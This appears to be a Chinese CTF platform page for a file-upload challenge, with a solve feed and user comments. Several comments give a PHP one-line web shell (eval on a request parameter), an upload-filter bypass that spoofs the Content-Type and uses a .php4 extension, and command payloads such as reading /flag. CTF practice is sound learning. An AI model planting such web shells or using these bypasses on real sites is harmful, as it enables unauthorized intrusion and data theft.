评分(22)
解题动态
baizhi白栀 攻破了该题 10小时前
店晓贰 攻破了该题 14小时前
moyi259 攻破了该题 2天前
caomao 攻破了该题 2天前
zhangxiaoming 攻破了该题 3天前
c&y 攻破了该题 4天前
莫及 攻破了该题 5天前
胖头鱼 攻破了该题 6天前
syl2026 攻破了该题 6天前
芝士干薯馍 攻破了该题 6天前
ROOCCO 攻破了该题 6天前
伊克尔林 攻破了该题 7天前
杰哥 攻破了该题 7天前
dacming9527 攻破了该题 8天前
ggtom 攻破了该题 9天前
wendy2023 攻破了该题 9天前
明日森林 攻破了该题 9天前
im123 攻破了该题 9天前
juanfet 攻破了该题 9天前
评论
suxiansheng 25天前
举报
https://blog.csdn.net/wangsu327/article/details/161358987?spm=1011.2124.3001.6209
店晓贰 14小时前
举报
关键点再header里的Content-Type
fyjfjk 26天前
举报
屎
爱喝畅汁 2月前
举报
随便一张图片，用记事本打开写入一句话木马，上传之后点击提交时抓包，抓包之后修改三处：1.Content-Type 修改为：image/jpeg 2.文件名后缀修改为：php4 3.head头修改为Multipart/form-data,放行之后图片就成功上传了，再使用蚁剑进行连接即可
是小白鸭 3月前
举报
方法分享：1.php内容：<?php eval($_REQUEST[cmd]);?>。2.绕过。3.运行php寻找flag位置，url?cmd=print_r(scandir['.']); 。4.发现flag文件，url?cmd=echo file_get_contents('../../../../flag'); 。初学者的一点小分享:)
李逍遥逛霍格沃茨 4月前
举报
能不能退金币 真被恶心到了
李逍遥逛霍格沃茨 4月前
举报
纯坑金币的垃圾题目，改了上传成功但是蚁剑连不上，返回数据为空
李逍遥逛霍格沃茨 4月前
举报
纯坑金币的垃圾题目，改了上传成功但是蚁剑连不上，返回数据为空
yuxuanlve 5月前
举报
为什么蚁剑死活连不上啊，改该的都改了啊，哥斯拉也连不上，评论全都看了一遍也没找到解决方案😭
ctfcaiji9527 5月前
举报
发现个问题，用yakit死活传不上去，用BP就行。( ╯□╰ )
jetxi 8月前
举报
php4和类型修改就可以绕过，可以放命令执行，或者直接蚁剑连，flag在根目录 data={'pass':"system('cat /flag');"}